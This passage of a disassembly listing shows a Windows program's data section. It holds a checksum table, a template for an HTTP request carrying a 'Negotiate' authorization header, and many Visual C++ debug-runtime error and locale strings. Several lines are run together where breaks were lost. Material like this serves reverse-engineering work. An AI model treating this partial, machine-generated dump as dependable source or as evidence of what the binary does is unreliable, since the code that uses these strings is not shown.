		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40B92D+68o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_434460	dq 1.388888888888889e-2	; DATA XREF: sub_40B76A+2Fr
dbl_434468	dq 1.666666666666667e-1	; DATA XREF: sub_40B76A+15r
dbl_434470	dq 1.333333333333333	; DATA XREF: sub_40B7B6+70r
dword_434478	dd 2 dup(0)	dbl_434480	dq 9.765625e-4		; DATA XREF: sub_410C53+2B8r
					; sub_410C53+2CDr ...
dbl_434488	dq -3.0517578125e-5	; DATA XREF: sub_412243+2Br
dword_434490	dd 6F6C6366h, 632E6573h, 0					; sub_414FD0+25o
dword_43449C	dd 65727473h, 21206D61h, 554E203Dh, 4C4Ch					; sub_419FD0+Do ...
dword_4344AC	dd 20727473h, 4E203D21h, 4C4C55h, 65696C43h, 746Eh, 6F6E6749h
					; DATA XREF: sub_414FD0+1Co
					; sub_4185F0+15o ...
		dd 6572h, 545243h, 6D726F4Eh, 6C61h
aFree		db 'Free',0             ; DATA XREF: .data:off_444E80o
		align 10h
dword_4344E0	dd 0FFFFFFFFh, 0		dd offset sub_41516D
aErrorMemoryAll	db 'Error: memory allocation: bad memory block type.',0Ah,0
					; DATA XREF: sub_4151D0:loc_41533Ao
					; sub_415640:loc_4157C0o
		align 10h
aInvalidAllocat	db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: sub_4151D0+11Bo
aS_20		db '%s',0               ; DATA XREF: sub_4151D0+BCo
					; sub_4151D0+16Fo ...
		align 4
aClientHookAl_0	db 'Client hook allocation failure.',0Ah,0
					; DATA XREF: sub_4151D0:loc_415287o
		align 4
aClientHookAllo	db 'Client hook allocation failure at file %hs line %d.',0Ah,0
					; DATA XREF: sub_4151D0+94o
		align 4
aDbgheap_c	db 'dbgheap.c',0        ; DATA XREF: sub_4151D0+31o
					; sub_415640+77o ...
		align 10h
a_crtcheckmemor	db '_CrtCheckMemory()',0 ; DATA XREF: sub_4151D0+25o
					; sub_415640+6Bo ...
		align 8
dword_4345C8	dd 0FFFFFFFFh, 0		dd offset sub_415613
a_pfirstblockPo	db '_pFirstBlock == pOldBlock',0 ; DATA XREF: sub_415640+499o
		align 10h
a_plastblockPol	db '_pLastBlock == pOldBlock',0 ; DATA XREF: sub_415640+445o
		align 4
aFreallocFreall	db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0
					; DATA XREF: sub_415640:loc_415A26o
		align 10h
a_block_typePol	db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0
					; DATA XREF: sub_415640+277o
		align 4
aPoldblockNline	db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_'
					; DATA XREF: sub_415640:loc_415851o
		db 'REQ',0
		align 4
a_crtisvalidhea	db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: sub_415640+1B6o
					; sub_415CD0+A8o ...
		align 4
aAllocationTooL	db 'Allocation too large or negative: %u bytes.',0Ah,0
					; DATA XREF: sub_415640+136o
		align 4
aClientHookRe_0	db 'Client hook re-allocation failure.',0Ah,0
					; DATA XREF: sub_415640:loc_41573Fo
aClientHookReAl	db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0
					; DATA XREF: sub_415640+DCo
		align 8
dword_434778	dd 0FFFFFFFFh, 0		dd offset sub_415BF3
		align 8
dword_434788	dd 0FFFFFFFFh, 0		dd offset sub_415CB2
a_pfirstblockPh	db '_pFirstBlock == pHead',0 ; DATA XREF: sub_415CD0+35Do
		align 4
a_plastblockPhe	db '_pLastBlock == pHead',0 ; DATA XREF: sub_415CD0+307o
		align 4
aPheadNblockuse	db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_415CD0+29Co
					; sub_4160E0+133o
		align 4
aPheadNlineIgno	db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0
					; DATA XREF: sub_415CD0:loc_415EF4o
		align 4
aDamageAfterHsB	db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0
					; DATA XREF: sub_415CD0+1E5o
					; sub_416420+265o
		align 10h
aDamageBeforeHs	db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0
					; DATA XREF: sub_415CD0+17Fo
					; sub_416420+208o
		align 4
a_block_type_is	db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_415CD0+10Ao
					; sub_4160E0+E2o ...
		align 4
aClientHookFree	db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_415CD0:loc_415D3Do
		align 10h
dword_4348C0	dd 0FFFFFFFFh, 0		dd offset sub_416251
		align 10h
dword_4348D0	dd 0FFFFFFFFh, 0		dd offset sub_41634D
aMemoryCheckErr	db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0
					; DATA XREF: sub_416390+54o
		align 4
aHsLocatedAt0x0	db '%hs located at 0x%08X is %u bytes long.',0Ah,0
					; DATA XREF: sub_416420+33Ao
		align 4
aHsAllocatedAtF	db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_416420+307o
aDamageOnTopOfF	db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0
					; DATA XREF: sub_416420+2BEo
		align 10h
aDamaged	db 'DAMAGED',0          ; DATA XREF: sub_416420:loc_4165F4o
a_heapchkFail_3	db '_heapchk fails with unknown return value!',0Ah,0
					; DATA XREF: sub_416420:loc_41654Co
		align 4
a_heapchkFail_2	db '_heapchk fails with _HEAPBADPTR.',0Ah,0
					; DATA XREF: sub_416420:loc_416524o
		align 4
a_heapchkFail_1	db '_heapchk fails with _HEAPBADEND.',0Ah,0
					; DATA XREF: sub_416420:loc_4164FCo
		align 4
a_heapchkFail_0	db '_heapchk fails with _HEAPBADNODE.',0Ah,0
					; DATA XREF: sub_416420:loc_4164D4o
		align 10h
a_heapchkFailsW	db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0
					; DATA XREF: sub_416420:loc_4164A9o
		align 8
dword_434A58	dd 0FFFFFFFFh, 0		dd offset sub_416795
		align 8
dword_434A68	dd 0FFFFFFFFh, 0		dd offset sub_41688D
		align 8
dword_434A78	dd 0FFFFFFFFh, 0		dd offset sub_416B36
aBadMemoryBlock	db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_416B80+13Co
		align 4
a_crtmemcheckpo	db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0
					; DATA XREF: sub_416B80:loc_416BA9o
dword_434AD0	dd 0FFFFFFFFh, 0		dd offset sub_416D08
a_crtmemdiffere	db '_CrtMemDifference: NULL state pointer.',0Ah,0
					; DATA XREF: .data:loc_416D52o
aObjectDumpComp	db 'Object dump complete.',0Ah,0 ; DATA XREF: sub_416E60:loc_41711Co
		align 4
aCrtBlockAt0x08	db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
					; DATA XREF: sub_416E60+271o
		align 10h
aNormalBlockAt0	db 'normal block at 0x%08X, %u bytes long.',0Ah,0
					; DATA XREF: sub_416E60+214o
aClientBlockAt0	db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
					; DATA XREF: sub_416E60+1A9o
aLd		db '{%ld} ',0           ; DATA XREF: sub_416E60+15Ao
		align 4
aHsD		db '%hs(%d) : ',0       ; DATA XREF: sub_416E60+132o
		align 10h
aFileErrorD	db '#File Error#(%d) : ',0 ; DATA XREF: sub_416E60+101o
aDumpingObjects	db 'Dumping objects ->',0Ah,0 ; DATA XREF: sub_416E60:loc_416E9Bo
dword_434BE8	dd 0FFFFFFFFh, 0		dd offset sub_417111
aDataSS		db ' Data: <%s> %s',0Ah,0 ; DATA XREF: sub_417160+ECo
a_2x		db '%.2X ',0            ; DATA XREF: sub_417160+BFo
		align 4
aDetectedMemory	db 'Detected memory leaks!',0Ah,0 ; DATA XREF: sub_417280:loc_4172B4o
aTotalAllocatio	db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: .data:0041739Do
		align 4
aLargestNumberU	db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: .data:00417375o
		align 4
aLdBytesInLdHsB	db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: .data:0041734Bo
		align 4
aMode_t0	db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_4175E0+95o
		align 4
aModeNull	db 'mode != NULL',0     ; DATA XREF: sub_4175E0+67o
					; sub_4201D0+4Fo
		align 4
aFile_t0	db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_4175E0+3Do
		align 10h
aFopen_c	db 'fopen.c',0          ; DATA XREF: sub_4175E0+18o
					; sub_4175E0+46o ...
aFileNull	db 'file != NULL',0     ; DATA XREF: sub_4175E0+Fo
		align 4
aFormatNull	db 'format != NULL',0   ; DATA XREF: sub_417CB0+45o
					; sub_417E80+45o ...
		align 4
aSprintf_c	db 'sprintf.c',0        ; DATA XREF: sub_417CB0+24o
					; sub_417CB0+4Eo ...
		align 4
aStringNull	db 'string != NULL',0   ; DATA XREF: sub_417CB0+1Bo
					; sub_417E80+1Bo ...
		align 4
aFprintf_c	db 'fprintf.c',0        ; DATA XREF: sub_4185F0+1Eo
					; sub_4185F0+48o
		align 10h
aFgets_c	db 'fgets.c',0          ; DATA XREF: sub_4186C0+24o
					; sub_4186C0+4Eo
aVsprintf_c	db 'vsprintf.c',0       ; DATA XREF: sub_418C10+1Eo
					; sub_418C10+48o
		align 4
aSscanf_c	db 'sscanf.c',0         ; DATA XREF: sub_419670+24o
					; sub_419670+4Eo
		align 10h
dbl_434D30	dq 1.0			; DATA XREF: sub_419730+99r
					; sub_419950+99r ...
dword_434D38	dd 64676264h, 632E6C65h, 7070hdword_434D44	dd 78656E6Fh, 632E7469h, 0					; sub_419F80+8o
dword_434D50	dd 65657366h, 632E6Bh					; sub_41A040+19o
dword_434D58	dd 7473626Dh, 7363776Fh, 632Ehdword_434D64	dd 3D212073h, 4C554E20h, 4Chdword_434D70	dd 0FFFFFFFFh, 41AC32h,	41AC4Dhdword_434D7C	dd 6C69665Fh, 632E65h, 65737341h, 6F697472h, 6146206Eh
					; DATA XREF: sub_41ACD0+31o
					; sub_41ACD0+65o ...
		dd 64656C69h, 0
aError		db 'Error',0            ; DATA XREF: .data:00445178o
		align 10h
aWarning	db 'Warning',0          ; DATA XREF: .data:off_445174o
aSDS		db '%s(%d) : %s',0      ; DATA XREF: sub_41B010+1FFo
asc_434DB4:				; DATA XREF: sub_41B010:loc_41B1E6o
		dw 0Ah
		unicode	0, <>,0
asc_434DB8:				; DATA XREF: sub_41B010+1C2o
		dw 0Dh
		unicode	0, <>,0
aAssertionFai_0	db 'Assertion failed!',0 ; DATA XREF: sub_41B010:loc_41B185o
		align 10h
aAssertionFaile	db 'Assertion failed: ',0 ; DATA XREF: sub_41B010+169o
		align 4
a_crtdbgreportS	db '_CrtDbgReport: String too long or IO Error',0
					; DATA XREF: sub_41B010+149o
					; sub_41B010+21Co ...
		align 10h
aSecondChanceAs	db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0
					; DATA XREF: sub_41B010+E6o
		align 4
aWsprintfa	db 'wsprintfA',0        ; DATA XREF: sub_41B010+B6o
		align 10h
aUser32_dll_0	db 'user32.dll',0       ; DATA XREF: sub_41B010+9Co
					; sub_4293F0+16o
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: sub_41B3A0+2C2o
		align 10h
aDebugSProgramS	db 'Debug %s!',0Ah      ; DATA XREF: sub_41B3A0+28Co
		db 0Ah
		db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah
		db 0Ah
		db '(Press Retry to debug the application)',0
		align 4
aModule		db 0Ah			; DATA XREF: sub_41B3A0+221o
		db 'Module: ',0
		align 10h
aFile		db 0Ah			; DATA XREF: sub_41B3A0+1E1o
		db 'File: ',0
aLine		db 0Ah			; DATA XREF: sub_41B3A0+1AAo
		db 'Line: ',0
asc_434EF0	db 0Ah			; DATA XREF: sub_41B3A0+173o
					; sub_428880+171o
		db 0Ah,0
		align 4
aExpression	db 'Expression: ',0     ; DATA XREF: sub_41B3A0+153o
		align 4
dword_434F04	dd 0							; sub_41B3A0:loc_41B4D9o ...
aForInformation	db 0Ah			; DATA XREF: sub_41B3A0+10Eo
		db 0Ah
		db 'For information on how your program can cause an assertion',0Ah
		db 'failure, see the Visual C++ documentation on asserts.',0
		align 4
a___		db '...',0              ; DATA XREF: sub_41B3A0+9Co
					; sub_41B3A0+F4o ...
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41B3A0+56o
					; sub_428880+EDo
		align 4
aDbgrpt_c	db 'dbgrpt.c',0         ; DATA XREF: sub_41B3A0+1Fo
		align 4
aSzusermessageN	db 'szUserMessage != NULL',0 ; DATA XREF: sub_41B3A0+13o
		align 4
a_freebuf_c	db '_freebuf.c',0       ; DATA XREF: sub_41B7E0+15o
		align 4
aMlock_c	db 'mlock.c',0          ; DATA XREF: sub_41BC80+16o
dword_434FD0	dd 0FFFFFFFFh, 0		dd offset sub_41BF25
		dd 0FFFFFFFFh, 0
		dd offset sub_41BFA7
dword_434FE8	dd 0FFFFFFFFh, 0		dd offset sub_41C0C1
		dd 0FFFFFFFFh, 0
		dd offset sub_41C1BA
dword_435000	dd 0FFFFFFFFh, 0; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd 0FFFFFFFFh, 0
		dd offset sub_41C60F
dword_435018	dd 0FFFFFFFFh, 0		dd offset sub_41C74B
		dd 0FFFFFFFFh, 0
		dd offset sub_41C7CD
dword_435030	dd 0FFFFFFFFh, 0		dd offset sub_41C882
		dd 0FFFFFFFFh, 0
		dd offset sub_41C8C7
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41F690+B9o
		align 10h
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41F690+5Ao
		align 4
a_filbuf_c	db '_filbuf.c',0        ; DATA XREF: sub_41FB00+18o
		align 4
a_open_c	db '_open.c',0          ; DATA XREF: sub_4201D0+2Eo
					; sub_4201D0+58o ...
aFilenameNull	db 'filename != NULL',0 ; DATA XREF: sub_4201D0+25o
		align 10h
aStream_c	db 'stream.c',0         ; DATA XREF: sub_420560+C1o
		align 4
aInconsistentIo	db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0
					; DATA XREF: sub_420720+162o
		align 4
a_flsbuf_c	db '_flsbuf.c',0        ; DATA XREF: sub_420720+18o
					; sub_420720+16Eo
		align 4
byte_4350F8	db 6			; DATA XREF: sub_4209A0+8Fr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull_0:				; DATA XREF: .data:off_447494o
		unicode	0, <(null)>,0
		align 4
aNull_1		db '(null)',0           ; DATA XREF: .data:off_447490o
		align 4
aOutput_c	db 'output.c',0         ; DATA XREF: sub_4209A0+122o
		align 4
aCh_t0		db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_4209A0+116o
		align 4
aTidtable_c	db 'tidtable.c',0       ; DATA XREF: sub_421840+23o
					; sub_421920+29o
		align 4
a_sftbuf_c	db '_sftbuf.c',0        ; DATA XREF: sub_4226D0+18o
					; sub_4226D0+B2o ...
		align 10h
aFlag0Flag1	db 'flag == 0 || flag == 1',0 ; DATA XREF: sub_422830+13o
		align 4
dword_4351B8	dd 0FFFFFFFFh, 422ED9h,	422EE6h, 0dword_4351C8	dd 0FFFFFFFFh, 0		dd offset sub_42310D
		align 8
		dd offset loc_4230CE
		dd offset loc_4230DB
dword_4351E0	dd 0FFFFFFFFh, 42342Ch,	423432h, 0dword_4351F0	dd 0FFFFFFFFh, 4234AEh,	4234BDh, 0dword_435200	dd 0FFFFFFFFh, 0		dd offset sub_4235EE
		align 10h
		dd offset loc_4235D0
		dd offset loc_4235D6
dword_435218	dd 0FFFFFFFFh, 0		dd offset sub_42369A
		align 8
		dd offset loc_42367C
		dd offset loc_423682
dword_435230	dd 75706E69h, 632E74h, 6E795Fh,	31795Fh, 30795Fh, 78657266h
					; DATA XREF: sub_4236C0+1Eo
					; sub_4236C0+4Bo
		dd 70h,	646F6D66h, 0
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aLog_0		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .data:off_447724o
		align 10h
dbl_4352F0	dq 0.0			; DATA XREF: sub_425310+D7r
					; sub_425310+11Ar ...
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_425C60+1Ao
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_425C60+6o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_425F40:loc_425FB8o
		align 4
aFtell_c	db 'ftell.c',0          ; DATA XREF: .data:00426546o
					; sub_4265A0+18o
aLc_time	db 'LC_TIME',0          ; DATA XREF: .data:0044799Co
aLc_numeric	db 'LC_NUMERIC',0       ; DATA XREF: .data:00447990o
		align 4
aLc_monetary	db 'LC_MONETARY',0      ; DATA XREF: .data:00447DA8o
aLc_ctype	db 'LC_CTYPE',0         ; DATA XREF: .data:00447978o
		align 4
aLc_collate	db 'LC_COLLATE',0       ; DATA XREF: .data:0044796Co
		align 4
aLc_all		db 'LC_ALL',0           ; DATA XREF: .data:off_447960o
		align 10h
asc_435370:				; DATA XREF: .data:loc_426D03o
					; sub_4270E0+83o
		unicode	0, <;>,0
asc_435374	db '=;',0               ; DATA XREF: .data:loc_426C31o
		align 4
aSetlocal_c	db 'setlocal.c',0       ; DATA XREF: sub_426F40+3Eo
					; sub_4270E0+1Bo
		align 4
asc_435384:				; DATA XREF: sub_4270E0+5Bo
		unicode	0, <=>,0
a___0		db '_.,',0              ; DATA XREF: sub_4273D0:loc_427442o
a__1:					; DATA XREF: sub_427530+50o
					; sub_42C6F0:loc_42C8EBo
		unicode	0, <.>,0
a__2:					; DATA XREF: sub_427530+25o
		unicode	0, <_>,0
dword_435394	dd 0							; sub_429B60+58o ...
dword_435398	dd 2 dup(0)						; sub_429B60+35o ...
dword_4353A0	dd 0FFFFFFFFh, 4276E6h,	4276ECh, 0FFFFFFFFh, 4277DCh, 4277E2h
					; DATA XREF: sub_4275A0+5o
dword_4353B8	dd 65647473h, 2E70766Eh, 63h					; sub_427BE0+D0o
dword_4353C4	dd 61647473h, 2E766772h, 63hdword_4353D0	dd 6E655F61h, 632E76h					; sub_428240+1C6o
dword_4353D8	dd 6E696F69h, 632E7469h, 0					; sub_428460+106o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h
		dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh
		dd 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_447A5Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVis_0	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_428880+1A4o
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_428880:loc_4289CAo
		db 0Ah
		db 'Program: ',0
		align 4
aWinsig_c	db 'winsig.c',0         ; DATA XREF: .data:00428FA1o
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_4293F0+5Fo
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_4293F0:loc_42943Bo
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_4293F0+2Ao
aOsfinfo_c	db 'osfinfo.c',0        ; DATA XREF: sub_4294B0+138o
		align 10h
dword_435700	dd 0FFFFFFFFh, 429CA4h,	429CAAhdword_43570C	dd 7465675Fh, 2E667562h, 63h					; sub_429D20+48o
dword_435718	dd 6F74626Dh, 632E6377h, 0aMb_cur_max1Mb_	db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: sub_42A6C0+18o
		align 4
aUngetc_c	db 'ungetc.c',0         ; DATA XREF: .data:0042AC46o
					; sub_42ACA0+16o
		align 4
aInittime_c	db 'inittime.c',0       ; DATA XREF: sub_42BD70+13o
		align 10h
aInitnum_c	db 'initnum.c',0        ; DATA XREF: sub_42C6F0+1CFo
					; sub_42C6F0+215o ...
		align 4
aInitmon_c	db 'initmon.c',0        ; DATA XREF: .data:0042CA33o
		align 4
aInitctyp_c	db 'initctyp.c',0       ; DATA XREF: .data:0042CED2o
					; .data:0042CEEBo ...
		align 4
aParaguay	db 'Paraguay',0
		align 10h
aUruguay	db 'Uruguay',0
aChile		db 'Chile',0            ; DATA XREF: .data:00447F64o
		align 10h
aEcuador	db 'Ecuador',0          ; DATA XREF: .data:00447F38o
aArgentina	db 'Argentina',0
		align 4
aPeru		db 'Peru',0
		align 4
aColombia	db 'Colombia',0         ; DATA XREF: .data:00447EB4o
		align 4
aVenezuela	db 'Venezuela',0
		align 4
aDominicanRepub	db 'Dominican Republic',0 ; DATA XREF: .data:00447E5Co
		align 4
aSouthAfrica	db 'South Africa',0
		align 4
aPanama		db 'Panama',0           ; DATA XREF: .data:00447E04o
		align 10h
aLuxembourg	db 'Luxembourg',0       ; DATA XREF: .data:00447DD8o
		align 4
aCostaRica	db 'Costa Rica',0       ; DATA XREF: .data:00447DACo
		align 4
aSwitzerland	db 'Switzerland',0
aGuatemala	db 'Guatemala',0        ; DATA XREF: .data:00447D54o
		align 10h
aCanada		db 'Canada',0           ; DATA XREF: .data:00447D28o
		align 4
aSpanishModernS	db 'Spanish - Modern Sort',0 ; DATA XREF: .data:00447CF4o
		align 10h
aAustralia	db 'Australia',0        ; DATA XREF: .data:00447CD0o
		align 4
aEnglish	db 'English',0          ; DATA XREF: .data:00447CC8o
					; .data:00447E28o
aAustria	db 'Austria',0          ; DATA XREF: .data:00447CA4o
aGerman		db 'German',0           ; DATA XREF: .data:00447C9Co
		align 4
aBelgium	db 'Belgium',0          ; DATA XREF: .data:00447C78o
aMexico		db 'Mexico',0           ; DATA XREF: .data:00447C4Co
		align 4
aSpanish	db 'Spanish',0          ; DATA XREF: .data:00447C44o
					; .data:00447D4Co ...
aBasque		db 'Basque',0           ; DATA XREF: .data:00447C18o
		align 4
aSweden		db 'Sweden',0           ; DATA XREF: .data:00447BF4o
		align 4
aSwedish	db 'Swedish',0          ; DATA XREF: .data:00447BECo
aIceland	db 'Iceland',0          ; DATA XREF: .data:00447BC8o
aIcelandic	db 'Icelandic',0        ; DATA XREF: .data:00447BC0o
		align 4
aFrance		db 'France',0           ; DATA XREF: .data:00447B9Co
		align 10h
aFrench		db 'French',0           ; DATA XREF: .data:00447B94o
					; .data:00447C70o ...
		align 4
aFinland	db 'Finland',0          ; DATA XREF: .data:00447B70o
aFinnish	db 'Finnish',0          ; DATA XREF: .data:00447B68o
aSpain		db 'Spain',0            ; DATA XREF: .data:off_447B44o
					; .data:00447CFCo
		align 10h
aSpanishTraditi	db 'Spanish - Traditional Sort',0 ; DATA XREF: .data:off_447B3Co
		align 4
aUnitedStates	db 'united-states',0
		align 4
aUnitedKingdom	db 'united-kingdom',0
		align 4
aTrinidadTobago	db 'trinidad & tobago',0
		align 10h
aSouthKorea	db 'south-korea',0
aSouthAfrica_0	db 'south-africa',0
		align 4
aSouthKorea_0	db 'south korea',0
aSouthAfrica_1	db 'south africa',0
		align 4
aSlovak		db 'slovak',0
		align 10h
aPuertoRico	db 'puerto-rico',0
aPrChina	db 'pr-china',0
		align 4
aPrChina_0	db 'pr china',0
		align 4
aNz		db 'nz',0
		align 4
aNewZealand	db 'new-zealand',0
aHongKong	db 'hong-kong',0
		align 10h
aHolland	db 'holland',0
aGreatBritain	db 'great britain',0
		align 4
aEngland	db 'england',0
aCzech		db 'czech',0
		align 4
aChina		db 'china',0
		align 10h
aBritain	db 'britain',0          ; DATA XREF: .data:00447FF0o
aAmerica	db 'america',0          ; DATA XREF: .data:off_447FE8o
aUsa		db 'usa',0
aUs		db 'us',0
		align 4
aUk		db 'uk',0
		align 4
aSwiss		db 'swiss',0
		align 4
aSwedishFinland	db 'swedish-finland',0
aSpanishVenezue	db 'spanish-venezuela',0
		align 4
aSpanishUruguay	db 'spanish-uruguay',0
